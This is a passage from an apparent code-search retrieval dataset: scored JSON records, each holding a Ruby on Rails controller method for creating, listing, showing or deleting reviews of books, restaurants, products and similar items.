@reviews_and_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "391f88452a1b7e5d39a9af4fbd5bed20", "score": "0.5939014", "text": "def index\n @visitor_reviews = VisitorReview.all\n end", "title": "" }, { "docid": "142b17e430f68082c230ba88e012879f", "score": "0.59191483", "text": "def create\n @user = current_user\n @review = @user.reviews.build(review_params)\n if @user.save\n render json: @review\n end\n end", "title": "" }, { "docid": "1cfe9fba6847b1ffb30b75ee435575ef", "score": "0.59087336", "text": "def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to dashboard_path, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "95d5b6d8d60f06c405b514e9ad207232", "score": "0.58935404", "text": "def create\n @restaurant_review = RestaurantReview.new(restaurant_review_params)\n\n respond_to do |format|\n if @restaurant_review.save\n format.html { redirect_to @restaurant_review, notice: 'Restaurant review was successfully created.' }\n format.json { render :show, status: :created, location: @restaurant_review }\n else\n format.html { render :new }\n format.json { render json: @restaurant_review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8bc252af4532e115fb9185038ac15e32", "score": "0.5889327", "text": "def destroy\n @venue_review = VenueReview.find(params[:id])\n @venue_review.destroy\n\n respond_to do |format|\n format.html { redirect_to(venue_reviews_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "9102f2eb8f54b8e8872721db486cb281", "score": "0.5882744", "text": "def create\n @review = Review.new(review_params)\n @review.exceptional ||= 0\n if @review.save\n @apn.update_attribute(:reviewed, true)\n link = reviews_path\n name = @apn.profile.first_name.capitalize + \" \".to_s + @apn.profile.last_name.capitalize\n redirect_to new_review_path, notice: (\"#{name} successfully reviewed.\" +\n \" New application loaded. If you're feeling lazy, <a href='#{link}'>\" +\n \"go to the Dashboard</a>\").html_safe\n else\n render action: \"new\", alert: \"something went wrong with submitting the review\"\n end\n end", "title": "" }, { "docid": "c52c7b6c9de2e9252d432c5392de605d", "score": "0.5879836", "text": "def create_review(book_id, params = {})\n params = params.merge(book_id: book_id, v: \"2\")\n\n params[:read_at] = params[:read_at].strftime('%Y-%m-%d') if params[:read_at].is_a?(Time)\n\n params[:'review[review]'] = params.delete(:review) if params[:review]\n params[:'review[rating]'] = params.delete(:rating) if params[:rating]\n params[:'review[read_at]'] = params.delete(:read_at) if params[:read_at]\n\n data = oauth_request_method(:post, '/review.xml', params)\n\n Hashie::Mash.new(data[\"review\"])\n end", "title": "" }, { "docid": "cabc4a2d4f4842a63f4c87d29087f612", "score": "0.5869788", "text": "def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if @review.save\n # TODO redirect to page that shows what their review will look like. \n format.html { redirect_to thanks_path, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ecc7475b535b184a3cfdd2c6a67e9132", "score": "0.58643144", "text": "def create\n @review = Review.new(review_params)\n @review.user = current_user\n\n if @review.save\n render :show, status: :created, location: @review\n else\n render json: { Error: @review.errors }, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "86e051d6db65306f2b0ae2856ccb7203", "score": "0.58589864", "text": "def reviews\n @reviews ||= (@doc/\"ProductReview\").collect { |it| Element.new(it) }\n end", "title": "" }, { "docid": "23e3dceaf65714a3e2682258d5d792d5", "score": "0.5858304", "text": "def create\n\t\t@book_review = BookReview.new(params[:book_review])\n\t\t@book_review.user_id = current_user.id\n\t\t@book_review.book_id = params[:book_id]\n\n\t\trespond_to do |format|\n\t\t\tif @book_review.save\n\t\t\t\tformat.html { redirect_to @book_review, :notice => 'Book review was successfully created.' }\n\t\t\t\tformat.json { render :json => @book_review, :status => :created, :location => @book_review }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.json { render :json => @book_review.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "e57e1c5ffbd4c124ff84ff7ee25ab89b", "score": "0.58580506", "text": "def create\n @evenreview = Evenreview.new(evenreview_params)\n\n respond_to do |format|\n if @evenreview.save\n format.html { redirect_to @evenreview, notice: 'Evenreview was successfully created.' }\n format.json { render :show, status: :created, location: @evenreview }\n else\n format.html { render :new }\n format.json { render json: @evenreview.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "62b826fef801f100964a2a8160d7af5c", "score": "0.5839157", "text": "def create\n @review = current_user.reviews.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to place_path(@review.place), notice: 'Review was successfully created.' }\n else\n format.html { redirect_to root_path }\n end\n end\n end", "title": "" }, { "docid": "130dd926e0c80e069f28041b2bb4c7c8", "score": "0.58361113", "text": "def create\n @review = Review.new(review_params)\n\t@review.user_id = current_user.id\n\t\n\t# used for partials rendering in SPA\n\t@site = Site.find(@review.site_id)\n\t@sites = Site.all\n\t@reviews = Review.where(site_id: @site.id).order(\"created_at DESC\")\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n\t\tformat.js\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n\t\tformat.js { render 'shared/errors' }\n end\n end\n end", "title": "" }, { "docid": "85c946586e52e1fd988ed2fe106abaa4", "score": "0.582851", "text": "def create\n @book_review = BookReview.new(params[:book_review])\n\n respond_to do |format|\n if @book_review.save\n format.html { redirect_to @book_review, notice: 'Book review was successfully created.' }\n format.json { render json: @book_review, status: :created, location: @book_review }\n else\n format.html { render action: \"new\" }\n format.json { render json: @book_review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2fc735c9f5b0e2d14485039d73e3a255", "score": "0.5821269", "text": "def create\n\t\t@review = Review.new(review_params)\n\t\t@review.user_id = current_user.id\n\t\trespond_to do |format|\n\t\t\tif @review.save\n\t\t\t\t@reviews = Review.order(:heading).paginate(page: params[:page], per_page: 18)\n\t\t\t\tformat.html { redirect_to @review; flash[:success]= 'review was successfully created.' }\n\t\t\t\tformat.json { render :show, status: :created, location: @review }\n\t\t\t\tformat.js\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @review.errors, status: :unprocessable_entity }\n\t\t\t\tformat.js\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "66caddb22350586988e34f118475520a", "score": "0.5817143", "text": "def create\n\t\t@reviews = @share.reviews.order(priority: :asc)\n\t\t@reviewToAlter = @share.reviews.new(review_params)\n\t\t\n\t\tif @reviewToAlter.save\n\t\t\tredirect_to share_reviews_path(@share), notice: \"Review saved!\"\n\t\telse\n\t\t\tflash[:alert] = \"Error : #{@reviewToAlter.errors.full_messages.to_sentence}\"\n\t\t\trender :index\n\t\tend\n\tend", "title": "" }, { "docid": "f72be6bb34752530025f7dd938fbb88d", "score": "0.5803807", "text": "def create\n @professor_review = ProfessorReview.new(params[:professor_review])\n\n respond_to do |format|\n if @professor_review.save\n format.html { redirect_to(@professor_review, :notice => 'Professor review was successfully created.') }\n format.xml { render :xml => @professor_review, :status => :created, :location => @professor_review }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @professor_review.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ee7531de85c82b42faa67653edaeea51", "score": "0.58018136", "text": "def create\n #binding.pry\n review = Review.new(review_params) \n if review.save\n render json: ReviewSerializer.new(review)\n else\n render json: {errors: review.errors.full_messages}\n end\n end", "title": "" }, { "docid": "c1a04b014a87f14bf5a6402031d51f61", "score": "0.5800117", "text": "def new\n @review = Review.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @review }\n end\n end", "title": "" }, { "docid": "c1a04b014a87f14bf5a6402031d51f61", "score": "0.5800117", "text": "def new\n @review = Review.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @review }\n end\n end", "title": "" }, { "docid": "f3dba063857a794543671c72e1520366", "score": "0.5790249", "text": "def show\n @venue_review = VenueReview.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @venue_review }\n end\n end", "title": "" }, { "docid": "4c895c887d81f79b55865b551818ee89", "score": "0.5783553", "text": "def create\n params[:review][:rating].sub!(/\\s*[^0-9]*\\z/, '') unless params[:review][:rating].blank?\n\n @review = Designerreview.new(review_params)\n @review.designer = @designer\n @review.user = spree_current_user if spree_user_signed_in?\n @review.ip_address = request.remote_ip\n @review.locale = I18n.locale.to_s if Designerreviews::Config[:track_locale]\n\n authorize! :create, @review\n if @review.save\n flash[:notice] = Spree.t(:review_successfully_submitted)\n redirect_to designer_path(@designer)\n else\n render :new\n end\n end", "title": "" }, { "docid": "114e4487685a0fd1a63474fe2b6a31a5", "score": "0.57785904", "text": "def create\n @review = @story.reviews.new(review_params)\n if @review.save\n redirect_to @review.story, notice: 'Review was successfully created.'\n else\n render :new\n end\n end", "title": "" }, { "docid": "30d82f91603c0d281c6c6a7a74f7da0e", "score": "0.5761094", "text": "def create\n @restaurant = Restaurant.find(params[:restaurant_id])\n @review = @restaurant.reviews.build(params[:review]) \n @review.save!\n redirect_to(restaurant_review_path(@restaurant, @review))\n end", "title": "" }, { "docid": "bb7f811210b05853c3d6baae8e5922bf", "score": "0.575419", "text": "def create\n\t\t\t\t@review = DriverReview.new(create_driver_review_params)\n\t\t\t\t@review.driver_id = @request.driver_id\n\t\t\t\t# render_invalid_action(@review) unless @review.save\n\t\t\t\t@review.save!\n\t\t\t\tlogger.debug @review.errors.messages\t\t\t\t\n\t\t\tend", "title": "" }, { "docid": "e81a75198a9541b8208d42ba783988fa", "score": "0.5752925", "text": "def create\n # any registered user can add a review\n unless current_user.is_general_user?\n redirect_to denied_path\n return\n end\n\n @review = Review.new(params[:review])\n @review.user_id = current_user.id\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to(@review, :notice => 'Review was successfully created.') }\n format.xml { render :xml => @review, :status => :created, :location => @review }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @review.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bcb005a6914cf210d7eb2696a836bc47", "score": "0.5751181", "text": "def create\n # Creates a new review & sends them back to their updated page\n review = current_user.reviews.create(review_params)\n if review.save\n redirect_to :back\n else\n redirect_to product_path(id: params[:product_id])\n end\n end", "title": "" }, { "docid": "9c9473a831e722b6a3c17887f5ab8b16", "score": "0.5750178", "text": "def create\n @item_review = ItemReview.new(item_review_params)\n\n respond_to do |format|\n if @item_review.save\n format.html { redirect_to @item_review, notice: 'Item review was successfully created.' }\n format.json { render :show, status: :created, location: @item_review }\n else\n format.html { render :new }\n format.json { render json: @item_review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f3c53dd89bdbbafac537d4b629b71d66", "score": "0.5744325", "text": "def create\n @food_review = FoodReview.new(food_review_params)\n\n respond_to do |format|\n if @food_review.save\n format.html { redirect_to @food_review, notice: 'Food review was successfully created.' }\n format.json { render :show, status: :created, location: @food_review }\n else\n format.html { render :new }\n format.json { render json: @food_review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f94b26b32d1256532375b6ce4d8bb280", "score": "0.574386", "text": "def create\n @review = @place.reviews.new(params[:review])\n @review.user = current_user\n respond_to do |format|\n if @review.save\n format.html { redirect_to place_path(@place), notice: 'Review was successfully created.' }\n format.json { render json: @review, status: :created, location: @review }\n else\n format.html { redirect_to place_path(@place, :anchor => \"review\"), notice: 'Please enter your review!!.' }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b47b7bad3eb11ae676a1276cf97a470e", "score": "0.57319605", "text": "def create\n @review = Review.new(review_params)\n respond_to do |format|\n if Review.validate(@review) and @review.save\n format.html { redirect_to bookings_path, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n flash[:notice] = \"You are submitting your review multiple times. Aborting\"\n format.html { redirect_to bookings_path }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e5edf66373de4f01f976136418b5330e", "score": "0.57287425", "text": "def new\n @review = reviewable.reviews.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end", "title": "" }, { "docid": "a891fe0a93d89d12a4abeb1bb13c5ebd", "score": "0.57231224", "text": "def create\n @shop_review = ShopReview.new(shop_review_params)\n\n respond_to do |format|\n if @shop_review.save\n format.html { redirect_to @shop_review, notice: '가게 리뷰 작성 완료' }\n format.json { render :show, status: :created, location: @shop_review }\n else\n format.html { render :new }\n format.json { render json: @shop_review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f11d5d41c0aaf4cfa07ec7ffa5a166d9", "score": "0.5721586", "text": "def create\n @review = Review.new(review_params)\n respond_to do |format|\n if @review.save\n format.html { redirect_to categories_url, notice: 'レビューを投稿しました!' }\n format.json { render :show, status: :ok, location: @subscription }\n else\n render :new\n end\n end\n end", "title": "" }, { "docid": "4c8974dba90b97d2d09ff5f9848c0f24", "score": "0.57173353", "text": "def create\n @review = Review.new(params[:review])\n if @review.save\n flash[:notice] = \"Review Created\"\n redirect_to \"/products\"\n else\n render \"create\"\n end\n end", "title": "" }, { "docid": "b85baf4dce89558351f949badd6eeb96", "score": "0.5716598", "text": "def new\n @review = @place.reviews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end", "title": "" }, { "docid": "396e750ff5ba436427f1ddad84a66afd", "score": "0.57153", "text": "def create\n @company_review = CompanyReview.new(company_review_params)\n\n respond_to do |format|\n if @company_review.save\n format.html { redirect_to @company_review, notice: 'Company review was successfully created.' }\n format.json { render :show, status: :created, location: @company_review }\n else\n format.html { render :new }\n format.json { render json: @company_review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "438183d11e72ea84ad0fd7f2b9d209a0", "score": "0.5690673", "text": "def create\n @auditreview = Auditreview.new(auditreview_params)\n respond_to do |format|\n if @auditreview.save\n format.html { redirect_to action: \"index\", notice: 'Auditreview was successfully created.' }\n format.json { render :show, status: :created, location: @auditreview }\n else\n format.html { render :new }\n format.json { render json: @auditreview.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2655773b66c481d3207d720e9488410e", "score": "0.5688808", "text": "def create\n @boo_k_review = BooKReview.new(boo_k_review_params)\n\n respond_to do |format|\n if @boo_k_review.save\n format.html { redirect_to @boo_k_review, notice: 'Boo k review was successfully created.' }\n format.json { render :show, status: :created, location: @boo_k_review }\n else\n format.html { render :new }\n format.json { render json: @boo_k_review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5f0b850a1d096bd437bde4d07ad3ac63", "score": "0.5684204", "text": "def create\n @item_review = ItemReview.new(item_review_params)\n\n respond_to do |format|\n if @item_review.save\n format.html { redirect_to @item_review, notice: 'Item review was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item_review }\n else\n format.html { render action: 'new' }\n format.json { render json: @item_review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "25fd48d8fe21d2f6a161d658be830af5", "score": "0.56812483", "text": "def create\n @review = Review.new(params[:review])\n @review.review_date = Time.now\n @review.user_id = current_user.id\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to place_url(@review.place), notice: 'Review was successfully created.' }\n format.json { render json: @review, status: :created, location: @review }\n else\n format.html { render action: \"new\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "47819007654ce36bbfa9aad42c079297", "score": "0.5677532", "text": "def create \n @refrigerator = Refrigerator.find(params[:refrigerator_id])\n @review = Review.create(create_update_params)\n @refrigerator.reviews << @review\n\n if @review.save!\n\n flash[:notice] = 'Review successfully created.'\n redirect_to refrigerator_path(params[:refrigerator_id])\n else\n flash[:notice] = 'Could not create new review.'\n redirect_to (new_refrigerator_review_path(@refrigerator))\n end\n end", "title": "" }, { "docid": "36ef06c93e6175b6235944e60b4cea7d", "score": "0.5668047", "text": "def create\n @user_review = UserReview.new(user_review_params)\n\n respond_to do |format|\n if @user_review.save!\n format.html { redirect_to user_reviews_path, notice: 'User review was successfully created.' }\n format.json { render :show, status: :created, location: @user_review }\n else\n format.html { render :new }\n format.json { render json: @user_review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7d9f32c1c76bf01942a3b4b604766963", "score": "0.5658853", "text": "def new\n\t\t@review = Review.new\n\t\t@review.establishment = Establishment.new\n\t\t@review.category = Category.new\n\t\t@review.clientele = Clientele.new\n\t\t@review.sound_level = SoundLevel.new\n\t\t@review.hygiene = Hygiene.new\n\t\t@review.rating = Rating.new\n\t\t\n\t\tcollect_additional_params()\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @review }\n\t\tend\n\tend", "title": "" }, { "docid": "eb46d5492d9926af3dfdf7763b3f7984", "score": "0.56580657", "text": "def post_review\n @review = Review.new\n @review.title = params[:title]\n @review.description = params[:description]\n @review.name = params[:name]\n @review.user_id = User.find(session[:user_id]).id\n @review.rating = params[:rating]\n @review.listing = params[:listing]\n @review.save()\n # flash[:notice] = \"Review added successfully.\"\n redirect_to :action => :listing, :id => params[:listing]\n end", "title": "" }, { "docid": "f84b64c3ac3a34f757b7abf322f37356", "score": "0.56578857", "text": "def review\n fetch('restaurant.review')\n end", "title": "" }, { "docid": "521d515e07bf9b6b746c29ab56e88568", "score": "0.56572104", "text": "def create\n @review = Review.new(review_params) # params come from a form\n @review.restaurant = @restaurant\n @review.save\n\n redirect_to restaurant_path(@restaurant.id)\n end", "title": "" }, { "docid": "63b0e2d7e784d6fec0bea36f238d43d7", "score": "0.56552535", "text": "def create\n @review = Review.new(review_params)\n @review.user_id = current_user.id\n @review.movie_id = @movie.id\n\n respond_to do |format|\n #If the review is saved, it redirects to the movie page and shows the notice.\n if @review.save\n format.html { redirect_to @movie, notice: t('review.create') }\n format.json { render :show, status: :created, location: @review }\n #If the review is not saved, it refreshes the create review page.\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4c53a23719cec17d6a83a3da03fe2db7", "score": "0.56519055", "text": "def index\n @reviews = reviewable.reviews\n\n respond_to do |format|\n format.html\n format.json { render json: @reviews }\n end\n end", "title": "" }, { "docid": "b1dd786ed4349bce0561ed9274dd9932", "score": "0.56393933", "text": "def create\n @review = Review.new(review_params)\n @product = Product.find(@review.product_id)\n if @review.save\n flash[:success] = \"Review created!\"\n redirect_to @product\n else\n @reviews = @product.reviews.paginate(page: params[:page])\n render template: \"products/show\"\n end\n end", "title": "" }, { "docid": "f607bb9aa8929210ecddff3b2838ab18", "score": "0.5638362", "text": "def create\n @review = Presentation.find(params[:id]).reviews.build(reviews_params)\n @review.user_id = current_user.id\n @review.save\n redirect_to current_user\n end", "title": "" }, { "docid": "57e3dbd9328ce2fbcafb4cd3238ad6ce", "score": "0.5623525", "text": "def index\n @reviews = @post.reviews.all\n respond_with @post, @reviews\n end", "title": "" }, { "docid": "6517b6850222178cc7cf66066479f87b", "score": "0.55997074", "text": "def create\n review_params[:rating].sub!(/\\s*[^0-9]*\\z/, '') if review_params[:rating].present?\n\n @review = Spree::Review.new(review_params)\n @review.product = @product\n @review.user = spree_current_user if spree_user_signed_in?\n @review.ip_address = request.remote_ip\n @review.locale = I18n.locale.to_s if Spree::Reviews::Config[:track_locale]\n # Handle images\n params[:review][:images]&.each do |image|\n @review.images.new(attachment: image) if image.present?\n end\n\n authorize! :create, @review\n if @review.save\n flash[:notice] = I18n.t('spree.review_successfully_submitted')\n redirect_to spree.product_path(@product)\n else\n render :new\n end\n end", "title": "" }, { "docid": "9fe4a1db5ccfe0308a6e08295eb8771e", "score": "0.5591439", "text": "def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if !!@review && current_user\n current_user.reviews << @review\n @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "54a474c5a527f8ffa88c93b3e2f54015", "score": "0.5589041", "text": "def create\n\t\treview = Review.create(:user_id=>params[:review][:user_id], :note_id=>params[:review][:note_id], :status=>params[:review][:status])\n\t\treview.save!\n\n render json: []\n\tend", "title": "" }, { "docid": "f2e9080aeee4ed4eba6a9370fdb4d42f", "score": "0.5586929", "text": "def index\n @product_reviews = ProductReview.all\n end", "title": "" }, { "docid": "bb9fb317e2680e529459a2b4e81a98e7", "score": "0.55858725", "text": "def create\n @employee_review = EmployeeReview.new(employee_review_params)\n\n respond_to do |format|\n if @employee_review.save\n format.html { redirect_to @employee_review, notice: 'Employee review was successfully created.' }\n format.json { render :show, status: :created, location: @employee_review }\n else\n format.html { render :new }\n format.json { render json: @employee_review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "41c2f9d845e65885cab9fce4b369365c", "score": "0.5585574", "text": "def create\n #TODO validaciones!!!\n @correction_review = CorrectionReview.new(correction_review_params)\n p @correction_review\n @correction_review.reviewer_id = User.first.id\n respond_to do |format|\n if @correction_review.save\n format.html { redirect_to \"/etapas/3\", notice: 'Tu solicitud fue enviada correctamente.' }\n format.json { render :show, status: :created, location: @correction_review }\n else\n p @correction_review.errors\n format.html { redirect_to \"/etapas/3\", alert: 'Hubo un error al tratar de enviar tu solicitud.' }\n format.json { render json: @correction_review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b035005be078877d6950a86a6413623", "score": "0.55836004", "text": "def create\n @review = Review.new(review_params)\n\n if @review.valid?\n @review.save \n @boardgame = Boardgame.find(params[:boardgame_id])\n render json: @boardgame, status: :created \n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "da7e27db7784d46082b35b204b55bd5a", "score": "0.5579632", "text": "def index\n @reviews = @place.reviews\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end", "title": "" }, { "docid": "1de937cefb05bf54fbfaf0538c8718fd", "score": "0.5577002", "text": "def create\n if current_user\n @review = current_user.reviews.build(params[:review])\n\n respond_to do |format|\n if @review.save\n flash[:success] = 'Запись успешно добавлена!'\n format.html { redirect_to reviews_path }\n format.json { render json: @review, status: :created, location: reviews_path }\n else\n format.html { render action: \"new\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n else\n flash[:error] = 'Вы должны войти в систему!'\n redirect_to root_path\n end\n end", "title": "" }, { "docid": "3b72c2ae296cf7fba5f1176ae30198d4", "score": "0.5566831", "text": "def reviews( params={} )\n reviews = get_connections(\"reviews\", params)\n return map_connections reviews, :to => Facebook::Graph::Review\n end", "title": "" }, { "docid": "1f49ad9a1ea26a69905882d36f8a8846", "score": "0.55639255", "text": "def create\n @tour_review = TourReview.new(tour_review_params)\n\n respond_to do |format|\n if @tour_review.save\n format.html { redirect_to tours_url(current_user.id), notice: 'ツアーレビューが正常に作成されました。' }\n #format.json { render :show, status: :created, location: @tour_review }\n else\n format.html { render :new }\n format.json { render json: @tour_review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f8c132a52cd61e3d1574b80b8c6bac37", "score": "0.55470103", "text": "def create\n @video = Video.find(params[:id])\n @review = Review.new(review_params.merge!(creator: current_user, video: @video))\n\n if @review.save\n flash[:success] = \"You have posted the review\"\n redirect_to video_path\n else\n @reviews = @video.reviews\n flash.now[:danger] = \"There was a problem with your submission\"\n render 'videos/show'\n end\n end", "title": "" }, { "docid": "2756ecaa96d36990bf215ce1a5c0ff5a", "score": "0.554655", "text": "def create\n @bookreview = Bookreview.new(bookreview_params)\n\n respond_to do |format|\n if @bookreview.save\n format.html { redirect_to book_path(@bookreview.book_id), notice: 'Bookreview was successfully created.' }\n format.json { render action: 'show', status: :created, location: @bookreview }\n else\n format.html { render action: 'new' }\n format.json { render json: @bookreview.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a50cab5351863d3cda1f4f41d5672671", "score": "0.55388737", "text": "def review\n end", "title": "" }, { "docid": "f88b8c83c0db1d5fc43c4328674dde95", "score": "0.55335873", "text": "def index\n\t\t@reviews = @movie.reviews\n\tend", "title": "" }, { "docid": "2890c5e7f4c2f157d2f62ee5397a410f", "score": "0.5521542", "text": "def index\n @reviews = Review.all\n end", "title": "" }, { "docid": "2890c5e7f4c2f157d2f62ee5397a410f", "score": "0.5521542", "text": "def index\n @reviews = Review.all\n end", "title": "" } ]